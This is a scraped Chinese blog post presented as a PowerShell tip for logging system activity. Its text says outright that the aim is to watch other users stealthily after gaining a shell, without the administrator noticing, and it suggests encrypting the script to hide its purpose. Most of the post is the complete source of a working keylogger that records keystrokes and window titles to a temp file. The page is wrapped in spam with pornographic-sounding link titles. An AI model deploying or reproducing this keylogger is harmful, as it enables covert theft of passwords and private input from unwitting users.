婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁(yè) > 知識(shí)庫(kù) > PowerShell小技巧之定時(shí)記錄操作系統(tǒng)行為

PowerShell小技巧之定時(shí)記錄操作系統(tǒng)行為

熱門(mén)標(biāo)簽:地圖標(biāo)注的圖案 新鄭電銷機(jī)器人一個(gè)月多少錢 如何根據(jù)經(jīng)緯度百度地圖標(biāo)注 印臺(tái)區(qū)呼叫中心外呼系統(tǒng) 電話機(jī)器人公司招聘 六寸地圖標(biāo)注點(diǎn)怎么刪除 騰訊地圖標(biāo)注中心怎么標(biāo)注 萬(wàn)全縣地圖標(biāo)注app 莫拉克電梯系統(tǒng)外呼怎么設(shè)置

作為系統(tǒng)管理員,有些時(shí)候是需要記錄系統(tǒng)中的其他用戶的一些操作行為的,例如:當(dāng)系統(tǒng)管理員懷疑系統(tǒng)存在漏洞,且已經(jīng)有被植入后門(mén)或者創(chuàng)建隱藏賬戶時(shí),就需要對(duì)曾經(jīng)登陸的用戶進(jìn)行監(jiān)控,保存其打開(kāi)或者操作過(guò)的文件?;蛘咴诹硗庖粋€(gè)場(chǎng)景,當(dāng)黑客拿下一個(gè)普通權(quán)限的shell之后,想看看最近有哪些用戶登陸過(guò),操作過(guò)什么,以便根據(jù)用戶習(xí)慣采取進(jìn)一步行動(dòng)獲取更高權(quán)限,這個(gè)時(shí)候記錄用戶行為就顯得很重要了。

      可能有讀者覺(jué)得此時(shí)安裝個(gè)監(jiān)控軟件不就行了么,拜托,你入侵別人的系統(tǒng),你裝個(gè)監(jiān)控軟件,你把管理員試做無(wú)物么?這個(gè)時(shí)候PowerShell這個(gè)vista及其之后Windows操作系統(tǒng)都自帶的強(qiáng)大的命令行就有了用處,系統(tǒng)自帶,不會(huì)被管理員發(fā)現(xiàn)異常,腳本不用編譯,如果腳本內(nèi)容再加個(gè)密,他們更猜不出是干什么用的,嘿嘿。如果要記錄幾個(gè)特性用于記錄啥時(shí)候干了什么,無(wú)非要記錄的有幾樣內(nèi)容:操作,哪個(gè)文件或程序,時(shí)間。有這幾個(gè)特點(diǎn)就基本上可以掌握用戶的操作習(xí)慣了。
 
      代碼不算太難就不逐句解釋了,有啥問(wèn)題的讀者可以給我留言詢問(wèn),基本上關(guān)鍵語(yǔ)句都有注釋的。代碼如下:

復(fù)制代碼 代碼如下:

 =====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:\key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {
        $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
                $FieldValueArray = [Object[]] @(
                    'GetKeyboardState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))
                $FieldValueArray = [Object[]] @(
                    'MapVirtualKey',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
                $FieldValueArray = [Object[]] @(
                    'ToUnicode',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                $FieldValueArray = [Object[]] @(
                    'GetForegroundWindow',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $ImportDll = $TypeBuilder.CreateType()
            }

            Start-Sleep -Milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed
                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                    {
                        $VirtualKey = $TypeableChar
                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

                        #if the key is pressed
                        if (($KeyResult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}
                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}
                            if ($TabKey)       {$LogOutput += '[Tab]'}
                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}
                            if ($DeleteKey)    {$LogOutput += '[Delete]'}
                            if ($EnterKey)     {$LogOutput += '[Enter]'}
                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'}
                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}
                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

                            #check for capslock
                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                            $KeyboardState = New-Object Byte[] 256
                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

                            #create a stringbuilder object
                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

                            #convert typed characters
                            if ($UnicodeKey -gt 0) {
                                $TypedCharacter = $StringBuilder.ToString()
                                $LogOutput += ('['+ $TypedCharacter +']')
                            }

                            #get the title of the foreground window
                            $TopWindow = $ImportDll::GetForegroundWindow()
                            $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                            #get the current DTG
                            $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

                            #Create a custom object to store results
                            $ObjectProperties = @{'Key Typed' = $LogOutput;
                                                  'Window Title' = $WindowTitle;
                                                  'Time' = $TimeStamp}
                            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
                            #return results
                            Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

                        }
                    }
                }
                catch {}
            }
        }

    $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

    Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

    if ($PSBoundParameters['CollectionInterval'])
    {
        $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
            Stop-Job -Name Keylogger
            Unregister-Event -SourceIdentifier ElapsedAction
            $Sender.Stop()
        } | Out-Null
    }
}

執(zhí)行方式如下圖所示:

執(zhí)行效果,會(huì)在指定的目錄里生成log文件,內(nèi)容如下圖所示:

能夠看到里面相關(guān)的擊鍵動(dòng)作,有興趣的讀者可以猜一下,這段被記錄的操作都干了什么,期間騰訊還推了一次彈窗新聞,無(wú)恥啊。

您可能感興趣的文章:
  • linux中 shell 歷史命令記錄功能
  • 用來(lái)記錄登錄后使用命令的shell腳本
  • shell將腳本輸出結(jié)果記錄到日志文件的實(shí)現(xiàn)
  • PowerShell時(shí)間記錄腳本
  • Powershell小技巧之記錄腳本的操作
  • Powershell小技巧之用變量累積記錄錯(cuò)誤
  • shell如何記錄用戶的IP與命令詳解

標(biāo)簽:南昌 汕頭 襄陽(yáng) 喀什 疫苗接種 天水 臨汾 湘潭

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PowerShell小技巧之定時(shí)記錄操作系統(tǒng)行為》,本文關(guān)鍵詞  PowerShell,小,技巧,之,定時(shí),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PowerShell小技巧之定時(shí)記錄操作系統(tǒng)行為》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于PowerShell小技巧之定時(shí)記錄操作系統(tǒng)行為的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    91色porny蝌蚪| 一区二区三区在线免费| 精品一区二区免费看| 国产精品嫩草99a| 日韩一区二区三区三四区视频在线观看 | 日韩美女视频一区二区| 欧美日韩激情一区二区| 亚洲精品一区二区三区精华液| 国产伦精品一区二区三区免费| 亚洲欧美综合另类在线卡通| 777欧美精品| 91免费看`日韩一区二区| 国产一区欧美日韩| 国产成人午夜视频| eeuss影院一区二区三区| 国产91清纯白嫩初高中在线观看 | 精品国产一区二区三区久久久蜜月| 色综合天天综合网国产成人综合天 | 成a人片国产精品| av在线免费不卡| 欧美在线观看禁18| 欧美一区二区三区小说| 精品第一国产综合精品aⅴ| 久久亚区不卡日本| 亚洲一区在线观看网站| 日韩vs国产vs欧美| 国产成人午夜电影网| 色综合av在线| 精品国免费一区二区三区| 久久久国产一区二区三区四区小说 | 中文字幕五月欧美| 日韩不卡手机在线v区| 国产一区二区中文字幕| 欧美自拍丝袜亚洲| 国产精品伦理在线| 国内精品在线播放| 精品视频在线免费看| 国产精品理论片| 欧美日韩精品一二三区| 日韩一区二区精品在线观看| 亚洲一区成人在线| 精品sm捆绑视频| 欧美一级欧美三级| 亚洲美女偷拍久久| 蜜桃视频在线观看一区| 国产福利精品一区二区| 日韩欧美在线不卡| 日韩精品一二三四| 在线视频亚洲一区| 亚洲视频在线一区观看| 国产传媒欧美日韩成人| 精品人伦一区二区色婷婷| 亚洲成a人片在线观看中文| 欧美日韩精品二区第二页| 欧美激情一区二区在线| 成人av在线网站| 亚洲欧美国产三级| 一本在线高清不卡dvd| 亚洲激情综合网| 日韩精品一区国产麻豆| 成人不卡免费av| 亚洲精品伦理在线| 日韩一区二区免费在线观看| 国产高清视频一区| 亚洲午夜免费福利视频| 精品少妇一区二区三区日产乱码 | 911精品国产一区二区在线| 久久激五月天综合精品| 1024成人网| 一区二区三区高清不卡| 色综合天天综合在线视频| 麻豆国产精品777777在线| 日韩精品中文字幕在线不卡尤物 | 蜜臀91精品一区二区三区| 91精品在线免费观看| 国产一区二区三区免费播放| 国产精品视频看| 欧美福利视频导航| 成人美女视频在线观看| 日日欢夜夜爽一区| 国产日韩在线不卡| 欧美日本在线视频| 99精品视频中文字幕| caoporm超碰国产精品| 国产成人日日夜夜| 日韩精品一区在线观看| 97国产精品videossex| 欧美视频一区在线| 在线观看亚洲精品| 国产综合色在线| 全国精品久久少妇| 日韩不卡手机在线v区| 欧美精品在欧美一区二区少妇 | 欧美va亚洲va香蕉在线| 成人18精品视频| 极品少妇xxxx精品少妇偷拍| 一区二区在线观看视频| ...av二区三区久久精品| 欧美精品一区二区在线播放| 91麻豆免费看| 成人手机在线视频| 国产成人久久精品77777最新版本| 亚洲一区二区三区小说| 亚洲精品国久久99热| 久久精品亚洲乱码伦伦中文| 日韩三级视频中文字幕| 精品日本一线二线三线不卡| 在线精品观看国产| 欧美伊人精品成人久久综合97| 97久久超碰国产精品| 国产一区高清在线| 成人午夜电影久久影院| 成人av在线观| 欧美日韩视频在线观看一区二区三区| 成人午夜碰碰视频| 精品一区二区三区蜜桃| 国产成人无遮挡在线视频| 不卡一区二区在线| 欧美福利电影网| 日本一区二区三区高清不卡| 成人欧美一区二区三区在线播放| 一区二区三区四区五区视频在线观看| 亚洲国产精品久久久久婷婷884| 亚洲国产精品人人做人人爽| 极品销魂美女一区二区三区| 成人激情视频网站| 欧美偷拍一区二区| 久久色.com| 美女一区二区视频| 色婷婷久久久久swag精品| 91毛片在线观看| 国产偷国产偷亚洲高清人白洁| 亚洲午夜精品在线| 亚洲18女电影在线观看| 久久精品欧美一区二区三区麻豆| 一区二区三区美女| 粉嫩一区二区三区性色av| 91精品国模一区二区三区| 亚洲图片欧美综合| 91网站最新地址| 亚洲另类春色国产| 91美女在线视频| 一区二区三区美女视频| 91小视频在线| 亚洲一本大道在线| 在线视频你懂得一区| 在线观看日韩精品| 视频一区国产视频| 精品福利一区二区三区免费视频| 蜜臀av性久久久久蜜臀aⅴ| 欧美人与性动xxxx| 美女www一区二区| 国产调教视频一区| 欧美在线一二三四区| 日韩av网站在线观看| 在线观看国产精品网站| 亚洲黄色在线视频| 日韩欧美亚洲一区二区| 成人一区二区三区| 国产网站一区二区| 欧美日韩一区二区不卡| 国产在线精品一区二区| 亚洲综合色视频| 欧美色视频在线观看| 国产麻豆欧美日韩一区| 一卡二卡三卡日韩欧美| 久久久激情视频| 欧美亚洲免费在线一区| 国产91高潮流白浆在线麻豆| 亚洲电影激情视频网站| 国产欧美日韩在线| 日韩精品资源二区在线| 色国产综合视频| 99热这里都是精品| 国产成人综合在线播放| 秋霞电影一区二区| 日韩伦理av电影| 1000精品久久久久久久久| 久久九九国产精品| 久久综合色一综合色88| 日韩欧美你懂的| 日韩一区二区免费在线电影| 琪琪久久久久日韩精品| 日韩 欧美一区二区三区| 亚洲国产另类av| 性欧美疯狂xxxxbbbb| 日本伊人午夜精品| 中文字幕av一区二区三区免费看| 一区二区欧美国产| 无吗不卡中文字幕| 国产精品视频看| 国产成人精品免费视频网站| 日韩精品成人一区二区三区| 青娱乐精品视频| 风间由美一区二区av101| aaa国产一区| 欧美亚洲综合色| 欧美激情一区不卡| 亚洲午夜国产一区99re久久| 亚洲国产成人av网|